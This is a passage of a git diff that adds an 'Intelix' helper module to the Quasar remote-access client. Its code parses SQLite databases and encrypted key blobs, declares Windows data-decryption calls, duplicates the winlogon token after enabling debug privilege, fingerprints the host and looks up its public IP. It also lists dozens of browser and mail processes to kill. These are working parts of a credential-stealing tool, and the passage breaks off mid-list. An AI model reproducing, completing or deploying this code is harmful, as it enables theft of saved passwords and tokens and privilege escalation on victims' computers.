+ num13 + num17), (int)array[i].Size); + break; + case 1L: + _tableEntries[num5 + (int)num6].Content[i] = Encoding.Unicode.GetString(_fileBytes, (int)((long)num10 + num13 + num17), (int)array[i].Size); + break; + case 2L: + _tableEntries[num5 + (int)num6].Content[i] = Encoding.BigEndianUnicode.GetString(_fileBytes, (int)((long)num10 + num13 + num17), (int)array[i].Size); + break; + } + } + } + else + { + _tableEntries[num5 + (int)num6].Content[i] = Encoding.Default.GetString(_fileBytes, (int)((long)num10 + num13 + num17), (int)array[i].Size); + } + } + else + { + _tableEntries[num5 + (int)num6].Content[i] = Convert.ToString(ConvertToULong((int)((long)num10 + num13 + num17), (int)array[i].Size)); + } + num17 += (int)array[i].Size; + } + } + break; + } + case 5: + { + uint num = (uint)(ConvertToULong((int)(offset + 3), 2) - 1); + for (uint num2 = 0u; (int)num2 <= (int)num; num2++) + { + uint num3 = (uint)ConvertToULong((int)offset + 12 + (int)(num2 * 2), 2); + ReadTableFromOffset((ConvertToULong((int)(offset + num3), 4) - 1) * _pageSize); + } + ReadTableFromOffset((ConvertToULong((int)(offset + 8), 4) - 1) * _pageSize); + break; + } + } + return true; + } + catch + { + return false; + } + } + + private void ReadMasterTable(long offset) + { + while (true) + { + switch (_fileBytes[offset]) + { + default: + return; + case 5: + { + uint num13 = (uint)(ConvertToULong((int)offset + 3, 2) - 1); + for (int j = 0; j <= (int)num13; j++) + { + uint num14 = (uint)ConvertToULong((int)offset + 12 + j * 2, 2); + if (offset == 100) + { + ReadMasterTable((long)((ConvertToULong((int)num14, 4) - 1) * _pageSize)); + } + else + { + ReadMasterTable((long)((ConvertToULong((int)(offset + num14), 4) - 1) * _pageSize)); + } + } + break; + } + case 13: + { + ulong num = ConvertToULong((int)offset + 3, 2) - 1; + int num2 = 0; + if (_masterTableEntries != null) + { + num2 = _masterTableEntries.Length; + Array.Resize(ref _masterTableEntries, _masterTableEntries.Length + (int)num + 1); + } + else + { + checked + { + _masterTableEntries = new SqliteMasterEntry[(ulong)unchecked((long)(num + 1))]; + } + } + for (ulong num3 = 0uL; num3 <= num; num3++) + { + ulong num4 = ConvertToULong((int)offset + 8 + (int)num3 * 2, 2); + if (offset != 100) + { + num4 += (ulong)offset; + } + int num5 = Gvl((int)num4); + Cvl((int)num4, num5); + int num6 = Gvl((int)((long)num4 + ((long)num5 - (long)num4) + 1)); + Cvl((int)((long)num4 + ((long)num5 - (long)num4) + 1), num6); + ulong num7 = num4 + (ulong)((long)num6 - (long)num4 + 1); + int num8 = Gvl((int)num7); + int num9 = num8; + long num10 = Cvl((int)num7, num8); + long[] array = new long[5]; + for (int i = 0; i <= 4; i++) + { + int startIdx = num9 + 1; + num9 = Gvl(startIdx); + array[i] = Cvl(startIdx, num9); + array[i] = ((array[i] <= 9) ? _sqlDataTypeSize[array[i]] : ((!IsOdd(array[i])) ? ((array[i] - 12) / 2) : ((array[i] - 13) / 2))); + } + long dbEncoding; + if (_dbEncoding == 1 || _dbEncoding == 2) + { + dbEncoding = (long)_dbEncoding; + long num11 = dbEncoding - 1; + if ((ulong)num11 <= 2uL) + { + switch (num11) + { + case 0L: + _masterTableEntries[num2 + (int)num3].ItemName = Encoding.Default.GetString(_fileBytes, (int)((long)num7 + num10 + array[0]), (int)array[1]); + break; + case 1L: + _masterTableEntries[num2 + (int)num3].ItemName = Encoding.Unicode.GetString(_fileBytes, (int)((long)num7 + num10 + array[0]), (int)array[1]); + break; + case 2L: + _masterTableEntries[num2 + (int)num3].ItemName = Encoding.BigEndianUnicode.GetString(_fileBytes, (int)((long)num7 + num10 + array[0]), (int)array[1]); + break; + } + } + } + _masterTableEntries[num2 + (int)num3].RootNum = (long)ConvertToULong((int)((long)num7 + num10 + array[0] + array[1] + array[2]), (int)array[3]); + dbEncoding = (long)_dbEncoding; + long num12 = dbEncoding - 1; + if ((ulong)num12 <= 2uL) + { + switch (num12) + { + case 0L: + _masterTableEntries[num2 + (int)num3].SqlStatement = Encoding.Default.GetString(_fileBytes, (int)((long)num7 + num10 + array[0] + array[1] + array[2] + array[3]), (int)array[4]); + break; + case 1L: + _masterTableEntries[num2 + (int)num3].SqlStatement = Encoding.Unicode.GetString(_fileBytes, (int)((long)num7 + num10 + array[0] + array[1] + array[2] + array[3]), (int)array[4]); + break; + case 2L: + _masterTableEntries[num2 + (int)num3].SqlStatement = Encoding.BigEndianUnicode.GetString(_fileBytes, (int)((long)num7 + num10 + array[0] + array[1] + array[2] + array[3]), (int)array[4]); + break; + } + } + } + return; + } + } + offset = (long)((ConvertToULong((int)offset + 8, 4) - 1) * _pageSize); + } + } + + public bool ReadTable(string tableName) + { + int num = -1; + for (int i = 0; i <= _masterTableEntries.Length; i++) + { + if (string.Compare(_masterTableEntries[i].ItemName.ToLower(), tableName.ToLower(), StringComparison.Ordinal) == 0) + { + num = i; + break; + } + } + if (num == -1) + { + return false; + } + string[] array = _masterTableEntries[num].SqlStatement.Substring(_masterTableEntries[num].SqlStatement.IndexOf("(", StringComparison.Ordinal) + 1).Split(','); + for (int j = 0; j <= array.Length - 1; j++) + { + array[j] = array[j].TrimStart(); + int num2 = array[j].IndexOf(' '); + if (num2 > 0) + { + array[j] = array[j].Substring(0, num2); + } + if (array[j].IndexOf("UNIQUE", StringComparison.Ordinal) != 0) + { + Array.Resize(ref _fieldNames, j + 1); + _fieldNames[j] = array[j]; + } + } + return ReadTableFromOffset((ulong)(_masterTableEntries[num].RootNum - 1) * _pageSize); + } + + private ulong ConvertToULong(int startIndex, int size) + { + try + { + if (size > 8 || size == 0) + { + return 0uL; + } + ulong num = 0uL; + for (int i = 0; i <= size - 1; i++) + { + num = (num << 8) | _fileBytes[startIndex + i]; + } + return num; + } + catch + { + return 0uL; + } + } + + private int Gvl(int startIdx) + { + try + { + if (startIdx > _fileBytes.Length) + { + return 0; + } + for (int i = startIdx; i <= startIdx + 8; i++) + { + if (i > _fileBytes.Length - 1) + { + return 0; + } + if ((_fileBytes[i] & 0x80) != 128) + { + return i; + } + } + return startIdx + 8; + } + catch + { + return 0; + } + } + + private long Cvl(int startIdx, int endIdx) + { + try + { + endIdx++; + byte[] array = new byte[8]; + int num = endIdx - startIdx; + bool flag = false; + if (num == 0 || num > 9) + { + return 0L; + } + switch (num) + { + case 1: + array[0] = (byte)(_fileBytes[startIdx] & 0x7F); + return BitConverter.ToInt64(array, 0); + case 9: + flag = true; + break; + } + int num2 = 1; + int num3 = 7; + int num4 = 0; + if (flag) + { + array[0] = _fileBytes[endIdx - 1]; + endIdx--; + num4 = 1; + } + for (int i = endIdx - 1; i >= startIdx; i += -1) + { + if (i - 1 >= startIdx) + { + array[num4] = (byte)(((_fileBytes[i] >> num2 - 1) & (255 >> num2)) | (_fileBytes[i - 1] << num3)); + num2++; + num4++; + num3--; + } + else if (!flag) + { + array[num4] = (byte)((_fileBytes[i] >> num2 - 1) & (255 >> num2)); + } + } + return BitConverter.ToInt64(array, 0); + } + catch + { + return 0L; + } + } + + private static bool IsOdd(long value) + { + return (value & 1) == 1; + } + + public static SqLite ReadTable(string database, string table) + { + try + { + string text = Path.GetTempFileName() + ".tmpdb"; + File.Copy(database, text); + SqLite sqLite = new SqLite(text); + sqLite.ReadTable(table); + File.Delete(text); + return (sqLite.GetRowCount() == 65536) ? null : sqLite; + } + catch + { + return null; + } + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Helper/BlobParsedData.cs b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Helper/BlobParsedData.cs new file mode 100755 index 0000000..1ec5d69 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Helper/BlobParsedData.cs @@ -0,0 +1,14 @@ +namespace Intelix.Helper; + +public class BlobParsedData +{ + public byte Flag { get; set; } + + public byte[] Iv { get; set; } + + public byte[] Ciphertext { get; set; } + + public byte[] Tag { get; set; } + + public byte[] EncryptedAesKey { get; set; } +} diff --git a/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Helper/ConcurrentLong.cs b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Helper/ConcurrentLong.cs new file mode 100755 index 0000000..c7fcf3e --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Helper/ConcurrentLong.cs @@ -0,0 +1,59 @@ +using System.Threading; + +namespace Intelix.Helper; + +public struct ConcurrentLong +{ + private long _value; + + public long Value + { + get + { + return Interlocked.Read(ref _value); + } + set + { + Interlocked.Exchange(ref _value, value); + } + } + + public ConcurrentLong(long initial) + { + _value = initial; + } + + public static ConcurrentLong operator ++(ConcurrentLong x) + { + Interlocked.Increment(ref x._value); + return x; + } + + public static ConcurrentLong operator --(ConcurrentLong x) + { + Interlocked.Decrement(ref x._value); + return x; + } + + public static implicit operator long(ConcurrentLong x) + { + return x.Value; + } + + public static implicit operator ConcurrentLong(long v) + { + return new ConcurrentLong(v); + } + + public static ConcurrentLong operator +(ConcurrentLong x, long y) + { + Interlocked.Add(ref x._value, y); + return x; + } + + public static ConcurrentLong operator -(ConcurrentLong x, long y) + { + Interlocked.Add(ref x._value, -y); + return x; + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Helper/CpuInfo.cs b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Helper/CpuInfo.cs new file mode 100755 index 0000000..8a734e4 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Helper/CpuInfo.cs @@ -0,0 +1,32 @@ +using System; +using Microsoft.Win32; + +namespace Intelix.Helper; + +public static class CpuInfo +{ + public static string GetName() + { + try + { + using RegistryKey registryKey = Registry.LocalMachine.OpenSubKey("HARDWARE\\DESCRIPTION\\System\\CentralProcessor\\0"); + return (registryKey?.GetValue("ProcessorNameString") as string) ?? (registryKey?.GetValue("VendorIdentifier") as string) ?? "Unknown"; + } + catch + { + return "Unknown"; + } + } + + public static int GetLogicalCores() + { + try + { + return Environment.ProcessorCount; + } + catch + { + return 0; + } + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Helper/HwidGenerator.cs b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Helper/HwidGenerator.cs new file mode 100755 index 0000000..c14651f --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Helper/HwidGenerator.cs @@ -0,0 +1,186 @@ +using System; +using System.Collections.Generic; +using System.IO; +using System.Net.NetworkInformation; +using System.Security.Cryptography; +using System.Text; +using System.Threading.Tasks; +using Microsoft.Win32; + +namespace Intelix.Helper; + +public static class HwidGenerator +{ + private static string _hwid; + + private static readonly object _lock = new object(); + + public static string GetHwid() + { + if (_hwid != null) + { + return _hwid; + } + lock (_lock) + { + if (_hwid != null) + { + return _hwid; + } + List list = new List(); + string mg = null; + string cpuName = null; + List vols = null; + List macs = null; + Task task = Task.Run(delegate + { + mg = GetMachineGuid(); + }); + Task task2 = Task.Run(delegate + { + cpuName = GetCpuName(); + }); + Task task3 = Task.Run(delegate + { + vols = GetFixedVolumeSerials(); + }); + Task task4 = Task.Run(delegate + { + macs = GetMacAddresses(); + }); + Task.WaitAll(task, task2, task3, task4); + if (!string.IsNullOrEmpty(mg)) + { + list.Add("MG:" + mg); + } + if (!string.IsNullOrEmpty(cpuName)) + { + list.Add("CPU:" + cpuName); + } + list.Add("Cores:" + Environment.ProcessorCount); + if (vols != null && vols.Count > 0) + { + list.Add("VOLS:" + string.Join(",", vols)); + } + if (macs != null && macs.Count > 0) + { + list.Add("MACS:" + string.Join(",", macs)); + } + list.Add("MN:" + Environment.MachineName); + _hwid = ComputeSha256(string.Join("|", list)); + return _hwid; + } + } + + private static string ComputeSha256(string input) + { + using SHA256 sHA = SHA256.Create(); + byte[] array = sHA.ComputeHash(Encoding.UTF8.GetBytes(input)); + StringBuilder stringBuilder = new StringBuilder(array.Length * 2); + byte[] array2 = array; + foreach (byte b in array2) + { + stringBuilder.Append(b.ToString("x2")); + } + return stringBuilder.ToString(); + } + + private static string GetMachineGuid() + { + try + { + using (RegistryKey registryKey = RegistryKey.OpenBaseKey(RegistryHive.LocalMachine, RegistryView.Registry64).OpenSubKey("SOFTWARE\\Microsoft\\Cryptography")) + { + string text = registryKey?.GetValue("MachineGuid") as string; + if (!string.IsNullOrEmpty(text)) + { + return text.Trim(); + } + } + using RegistryKey registryKey2 = RegistryKey.OpenBaseKey(RegistryHive.LocalMachine, RegistryView.Registry32).OpenSubKey("SOFTWARE\\Microsoft\\Cryptography"); + return (registryKey2?.GetValue("MachineGuid") as string)?.Trim() ?? ""; + } + catch + { + return ""; + } + } + + private static string GetCpuName() + { + try + { + using RegistryKey registryKey = Registry.LocalMachine.OpenSubKey("HARDWARE\\DESCRIPTION\\System\\CentralProcessor\\0"); + string text = registryKey?.GetValue("ProcessorNameString") as string; + if (!string.IsNullOrEmpty(text)) + { + return text.Trim(); + } + return (registryKey?.GetValue("VendorIdentifier") as string)?.Trim() ?? ""; + } + catch + { + return ""; + } + } + + private static List GetFixedVolumeSerials() + { + List list = new List(); + try + { + DriveInfo[] drives = DriveInfo.GetDrives(); + foreach (DriveInfo driveInfo in drives) + { + if (driveInfo.DriveType == DriveType.Fixed && driveInfo.IsReady) + { + StringBuilder stringBuilder = new StringBuilder(261); + StringBuilder stringBuilder2 = new StringBuilder(261); + if (NativeMethods.GetVolumeInformation(driveInfo.RootDirectory.FullName, stringBuilder, stringBuilder.Capacity, out var lpVolumeSerialNumber, out var _, out var _, stringBuilder2, stringBuilder2.Capacity)) + { + list.Add(lpVolumeSerialNumber.ToString("X8").ToLowerInvariant()); + } + } + } + } + catch + { + } + return list; + } + + private static List GetMacAddresses() + { + List list = new List(); + try + { + NetworkInterface[] allNetworkInterfaces = NetworkInterface.GetAllNetworkInterfaces(); + foreach (NetworkInterface networkInterface in allNetworkInterfaces) + { + if (networkInterface.OperationalStatus != OperationalStatus.Up) + { + continue; + } + byte[] addressBytes = networkInterface.GetPhysicalAddress().GetAddressBytes(); + if (addressBytes.Length == 0) + { + continue; + } + StringBuilder stringBuilder = new StringBuilder(); + for (int j = 0; j < addressBytes.Length; j++) + { + if (j > 0) + { + stringBuilder.Append(':'); + } + stringBuilder.Append(addressBytes[j].ToString("x2")); + } + list.Add(stringBuilder.ToString()); + } + } + catch + { + } + return list; + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Helper/ImpersonationHelper.cs b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Helper/ImpersonationHelper.cs new file mode 100755 index 0000000..4550d04 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Helper/ImpersonationHelper.cs @@ -0,0 +1,110 @@ +using System; +using System.ComponentModel; +using System.Diagnostics; +using System.Linq; +using System.Runtime.InteropServices; + +namespace Intelix.Helper; + +public static class ImpersonationHelper +{ + private class ImpersonationContext : IDisposable + { + public void Dispose() + { + NativeMethods.RevertToSelf(); + } + } + + private const uint TOKEN_DUPLICATE = 2u; + + private const uint TOKEN_IMPERSONATE = 4u; + + private const uint TOKEN_QUERY = 8u; + + private const uint TOKEN_ADJUST_PRIVILEGES = 32u; + + private const uint SecurityImpersonation = 2u; + + private const uint TokenImpersonation = 2u; + + private const uint SE_PRIVILEGE_ENABLED = 2u; + + public static IDisposable ImpersonateWinlogon() + { + IntPtr TokenHandle = IntPtr.Zero; + IntPtr phNewToken = IntPtr.Zero; + try + { + EnableDebugPrivilege(); + if (!NativeMethods.OpenProcessToken((Process.GetProcessesByName("winlogon").FirstOrDefault() ?? throw new Exception("ПроцеÑÑ winlogon.exe не найден")).Handle, 14u, out TokenHandle)) + { + throw new Win32Exception(Marshal.GetLastWin32Error(), "Ошибка OpenProcessToken"); + } + if (!NativeMethods.DuplicateTokenEx(TokenHandle, 12u, IntPtr.Zero, 2u, 2u, out phNewToken)) + { + throw new Win32Exception(Marshal.GetLastWin32Error(), "Ошибка DuplicateTokenEx"); + } + if (!NativeMethods.ImpersonateLoggedOnUser(phNewToken)) + { + throw new Win32Exception(Marshal.GetLastWin32Error(), "Ошибка ImpersonateLoggedOnUser"); + } + return new ImpersonationContext(); + } + catch + { + if (phNewToken != IntPtr.Zero) + { + NativeMethods.CloseHandle(phNewToken); + } + if (TokenHandle != IntPtr.Zero) + { + NativeMethods.CloseHandle(TokenHandle); + } + NativeMethods.RevertToSelf(); + throw; + } + } + + private static void EnableDebugPrivilege() + { + IntPtr TokenHandle = IntPtr.Zero; + try + { + if (!NativeMethods.OpenProcessToken(NativeMethods.GetCurrentProcess(), 40u, out TokenHandle)) + { + int lastWin32Error = Marshal.GetLastWin32Error(); + throw new Win32Exception(lastWin32Error, $"Ошибка OpenProcessToken: Код ошибки {lastWin32Error}"); + } + NativeMethods.LUID lpLuid = default(NativeMethods.LUID); + if (!NativeMethods.LookupPrivilegeValue(null, "SeDebugPrivilege", ref lpLuid)) + { + int lastWin32Error2 = Marshal.GetLastWin32Error(); + throw new Win32Exception(lastWin32Error2, $"Ошибка LookupPrivilegeValue: Код ошибки {lastWin32Error2}"); + } + NativeMethods.TOKEN_PRIVILEGES NewState = new NativeMethods.TOKEN_PRIVILEGES + { + PrivilegeCount = 1u, + Luid = lpLuid, + Attributes = 2u + }; + if (!NativeMethods.AdjustTokenPrivileges(TokenHandle, DisableAllPrivileges: false, ref NewState, (uint)Marshal.SizeOf(typeof(NativeMethods.TOKEN_PRIVILEGES)), IntPtr.Zero, IntPtr.Zero)) + { + int lastWin32Error3 = Marshal.GetLastWin32Error(); + throw new Win32Exception(lastWin32Error3, $"Ошибка AdjustTokenPrivileges: Код ошибки {lastWin32Error3}"); + } + int lastWin32Error4 = Marshal.GetLastWin32Error(); + if (lastWin32Error4 != 0) + { + throw new Win32Exception(lastWin32Error4, $"AdjustTokenPrivileges вернул уÑпех, но уÑтановил код ошибки {lastWin32Error4}"); + } + } + finally + { + if (TokenHandle != IntPtr.Zero) + { + NativeMethods.CloseHandle(TokenHandle); + } + } + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Helper/IpApi.cs b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Helper/IpApi.cs new file mode 100755 index 0000000..77cd7ce --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Helper/IpApi.cs @@ -0,0 +1,75 @@ +using System.Net; +using System.Text; + +namespace Intelix.Helper; + +public static class IpApi +{ + private static string _cachedIp; + private static string _cachedCountryCode; + + private static readonly object _lock = new object(); + + public static string GetPublicIp() + { + if (!string.IsNullOrEmpty(_cachedIp)) + { + return _cachedIp; + } + lock (_lock) + { + if (!string.IsNullOrEmpty(_cachedIp)) + { + return _cachedIp; + } + try + { + using WebClient webClient = new WebClient(); + string text = webClient.DownloadString("http://icanhazip.com"); + if (!string.IsNullOrEmpty(text)) + { + _cachedIp = text.Trim(); + } + } + catch + { + _cachedIp = "Request failed"; + } + return _cachedIp; + } + } + + public static string GetCountryCode() + { + if (!string.IsNullOrEmpty(_cachedCountryCode)) + { + return _cachedCountryCode; + } + lock (_lock) + { + if (!string.IsNullOrEmpty(_cachedCountryCode)) + { + return _cachedCountryCode; + } + try + { + using WebClient webClient = new WebClient(); + webClient.Encoding = Encoding.UTF8; + string response = webClient.DownloadString("http://ip-api.com/line/?fields=countryCode"); + if (!string.IsNullOrEmpty(response)) + { + _cachedCountryCode = response.Trim(); + } + else + { + _cachedCountryCode = "XX"; + } + } + catch + { + _cachedCountryCode = "XX"; + } + return _cachedCountryCode; + } + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Helper/MutexControl.cs b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Helper/MutexControl.cs new file mode 100755 index 0000000..ba00bc6 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Helper/MutexControl.cs @@ -0,0 +1,16 @@ +using System.Threading; + +namespace Intelix.Helper; + +public static class MutexControl +{ + public static Mutex currentApp; + + public static bool createdNew; + + public static bool CreateMutex(string mtx) + { + currentApp = new Mutex(initiallyOwned: false, mtx, out createdNew); + return createdNew; + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Helper/NativeMethods.cs b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Helper/NativeMethods.cs new file mode 100755 index 0000000..b378f5e --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Helper/NativeMethods.cs @@ -0,0 +1,194 @@ +using System; +using System.Runtime.InteropServices; +using System.Text; + +namespace Intelix.Helper; + +public static class NativeMethods +{ + [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)] + public struct CryptprotectPromptstruct + { + public int cbSize; + + public int dwPromptFlags; + + public IntPtr hwndApp; + + public string szPrompt; + } + + [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)] + public struct DataBlob + { + public int cbData; + + public IntPtr pbData; + } + + public struct LUID + { + public uint LowPart; + + public int HighPart; + } + + public struct TOKEN_PRIVILEGES + { + public uint PrivilegeCount; + + public LUID Luid; + + public uint Attributes; + } + + public struct MEMORYSTATUSEX + { + public uint dwLength; + + public uint dwMemoryLoad; + + public ulong ullTotalPhys; + + public ulong ullAvailPhys; + + public ulong ullTotalPageFile; + + public ulong ullAvailPageFile; + + public ulong ullTotalVirtual; + + public ulong ullAvailVirtual; + + public ulong ullAvailExtendedVirtual; + } + + [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)] + public struct DISPLAY_DEVICE + { + public int cb; + + [MarshalAs(UnmanagedType.ByValTStr, SizeConst = 32)] + public string DeviceName; + + [MarshalAs(UnmanagedType.ByValTStr, SizeConst = 128)] + public string DeviceString; + + public uint StateFlags; + + [MarshalAs(UnmanagedType.ByValTStr, SizeConst = 128)] + public string DeviceID; + + [MarshalAs(UnmanagedType.ByValTStr, SizeConst = 128)] + public string DeviceKey; + } + + public struct PROCESS_MEMORY_COUNTERS_EX + { + public uint cb; + + public uint PageFaultCount; + + public UIntPtr PeakWorkingSetSize; + + public UIntPtr WorkingSetSize; + + public UIntPtr QuotaPeakPagedPoolUsage; + + public UIntPtr QuotaPagedPoolUsage; + + public UIntPtr QuotaPeakNonPagedPoolUsage; + + public UIntPtr QuotaNonPagedPoolUsage; + + public UIntPtr PagefileUsage; + + public UIntPtr PeakPagefileUsage; + + public UIntPtr PrivateUsage; + } + + [DllImport("psapi.dll", SetLastError = true)] + public static extern bool GetProcessMemoryInfo(IntPtr hProcess, out PROCESS_MEMORY_COUNTERS_EX ppsmemCounters, uint cb); + + [DllImport("psapi.dll", SetLastError = true)] + public static extern bool EnumProcesses([Out] uint[] lpidProcess, uint cb, out uint lpcbNeeded); + + [DllImport("kernel32.dll", SetLastError = true)] + public static extern IntPtr OpenProcess(uint dwDesiredAccess, bool bInheritHandle, uint dwProcessId); + + [DllImport("kernel32.dll", SetLastError = true)] + public static extern bool TerminateProcess(IntPtr hProcess, uint uExitCode); + + [DllImport("kernel32.dll", SetLastError = true)] + public static extern bool GetVolumeInformation(string lpRootPathName, StringBuilder lpVolumeNameBuffer, int nVolumeNameSize, out uint lpVolumeSerialNumber, out uint lpMaximumComponentLength, out uint lpFileSystemFlags, StringBuilder lpFileSystemNameBuffer, int nFileSystemNameSize); + + [DllImport("kernel32.dll")] + public static extern bool GlobalMemoryStatusEx(ref MEMORYSTATUSEX lpBuffer); + + [DllImport("user32.dll", CharSet = CharSet.Unicode)] + public static extern bool EnumDisplayDevices(string lpDevice, uint iDevNum, ref DISPLAY_DEVICE lpDisplayDevice, uint dwFlags); + + [DllImport("kernel32.dll", SetLastError = true)] + public static extern IntPtr OpenProcess(int dwDesiredAccess, bool bInheritHandle, int dwProcessId); + + [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)] + public static extern bool QueryFullProcessImageName(IntPtr hProcess, int dwFlags, StringBuilder lpExeName, ref int lpdwSize); + + [DllImport("ncrypt.dll", CharSet = CharSet.Unicode)] + public static extern int NCryptOpenStorageProvider(out IntPtr phProvider, string pszProviderName, int dwFlags); + + [DllImport("ncrypt.dll", CharSet = CharSet.Unicode)] + public static extern int NCryptOpenKey(IntPtr hProvider, out IntPtr phKey, string pszKeyName, int dwLegacyKeySpec, int dwFlags); + + [DllImport("ncrypt.dll", CharSet = CharSet.Unicode)] + public static extern int NCryptDecrypt(IntPtr hKey, byte[] pbInput, int cbInput, IntPtr pPaddingInfo, byte[] pbOutput, int cbOutput, out int pcbResult, int dwFlags); + + [DllImport("ncrypt.dll", CharSet = CharSet.Unicode)] + public static extern int NCryptFreeObject(IntPtr hObject); + + [DllImport("user32.dll")] + public static extern IntPtr GetDesktopWindow(); + + [DllImport("user32.dll")] + public static extern IntPtr GetWindowDC(IntPtr hWnd); + + [DllImport("user32.dll")] + public static extern int ReleaseDC(IntPtr hWnd, IntPtr hDC); + + [DllImport("gdi32.dll")] + public static extern bool BitBlt(IntPtr hdcDest, int nXDest, int nYDest, int nWidth, int nHeight, IntPtr hdcSrc, int nXSrc, int nYSrc, int dwRop); + + [DllImport("kernel32.dll", SetLastError = true)] + public static extern IntPtr OpenProcess(uint dwDesiredAccess, bool bInheritHandle, int dwProcessId); + + [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)] + public static extern bool QueryFullProcessImageName(IntPtr hProcess, int dwFlags, StringBuilder exeName, ref uint lpdwSize); + + [DllImport("kernel32.dll", SetLastError = true)] + public static extern bool CloseHandle(IntPtr hObject); + + [DllImport("crypt32.dll", CharSet = CharSet.Unicode, SetLastError = true)] + public static extern bool CryptUnprotectData(ref DataBlob pDataIn, ref string ppszDataDescr, ref DataBlob pOptionalEntropy, IntPtr pvReserved, ref CryptprotectPromptstruct pPromptStruct, int dwFlags, ref DataBlob pDataOut); + + [DllImport("advapi32.dll", SetLastError = true)] + public static extern bool OpenProcessToken(IntPtr ProcessHandle, uint DesiredAccess, out IntPtr TokenHandle); + + [DllImport("advapi32.dll", SetLastError = true)] + public static extern bool DuplicateTokenEx(IntPtr hExistingToken, uint dwDesiredAccess, IntPtr lpTokenAttributes, uint ImpersonationLevel, uint TokenType, out IntPtr phNewToken); + + [DllImport("advapi32.dll", SetLastError = true)] + public static extern bool ImpersonateLoggedOnUser(IntPtr hToken); + + [DllImport("advapi32.dll", SetLastError = true)] + public static extern bool RevertToSelf(); + + [DllImport("advapi32.dll", CharSet = CharSet.Auto, SetLastError = true)] + public static extern bool LookupPrivilegeValue(string lpSystemName, string lpName, ref LUID lpLuid); + + [DllImport("advapi32.dll", SetLastError = true)] + public static extern bool AdjustTokenPrivileges(IntPtr TokenHandle, bool DisableAllPrivileges, ref TOKEN_PRIVILEGES NewState, uint BufferLength, IntPtr PreviousState, IntPtr ReturnLength); + + [DllImport("kernel32.dll", SetLastError = true)] + public static extern IntPtr GetCurrentProcess(); +} diff --git a/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Helper/ParseKeyBlob.cs b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Helper/ParseKeyBlob.cs new file mode 100755 index 0000000..7d0e9d2 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Helper/ParseKeyBlob.cs @@ -0,0 +1,66 @@ +using System; +using System.IO; + +namespace Intelix.Helper; + +public static class ParseKeyBlob +{ + public static BlobParsedData Parse(byte[] blobData) + { + using MemoryStream memoryStream = new MemoryStream(blobData); + using BinaryReader binaryReader = new BinaryReader(memoryStream); + uint count = binaryReader.ReadUInt32(); + binaryReader.ReadBytes((int)count); + uint num = binaryReader.ReadUInt32(); + _ = memoryStream.Position; + byte[] array = null; + byte[] iv = null; + byte[] ciphertext = null; + byte[] tag = null; + if (num == 32) + { + array = binaryReader.ReadBytes(32); + return new BlobParsedData + { + Flag = 32, + Iv = iv, + Ciphertext = ciphertext, + Tag = tag, + EncryptedAesKey = array + }; + } + byte b = binaryReader.ReadByte(); + switch (b) + { + case 1: + case 2: + iv = binaryReader.ReadBytes(12); + ciphertext = binaryReader.ReadBytes(32); + tag = binaryReader.ReadBytes(16); + return new BlobParsedData + { + Flag = b, + Iv = iv, + Ciphertext = ciphertext, + Tag = tag, + EncryptedAesKey = null + }; + case 3: + case 35: + array = binaryReader.ReadBytes(32); + iv = binaryReader.ReadBytes(12); + ciphertext = binaryReader.ReadBytes(32); + tag = binaryReader.ReadBytes(16); + return new BlobParsedData + { + Flag = b, + Iv = iv, + Ciphertext = ciphertext, + Tag = tag, + EncryptedAesKey = array + }; + default: + throw new Exception(); + } + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Helper/ProcessKiller.cs b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Helper/ProcessKiller.cs new file mode 100755 index 0000000..36c0e2d --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Helper/ProcessKiller.cs @@ -0,0 +1,153 @@ +using System; +using System.Collections.Generic; +using System.IO; +using System.Threading.Tasks; + +namespace Intelix.Helper; + +public static class ProcessKiller +{ + public static string[] Targets = new string[63] + { + "k-meleon.exe", "thunderbird.exe", "icedragon.exe", "cyberfox.exe", "blackhawk.exe", "palemoon.exe", "ghostery.exe", + "sielo.exe", "conkeror.exe", "msedge.exe", "netscape.exe", "seamonkey.exe", "slimbrowser.exe", "msedge_pwa_launcher.exe", "avant.exe", "opera.exe", "operagx.exe", + "msedgewebview2.exe", "msedgewebview.exe", "chromium.exe", "slimjet.exe", "chrome.exe", "browser.exe", "vivaldi.exe", "brave.exe", "edge.exe", "microsoft.exe", + "dragon.exe", "torch.exe", "yandex.exe", "sputnik.exe", "nichrome.exe", "msedge_proxy.exe", "cocbrowser.exe", + "uran.exe", 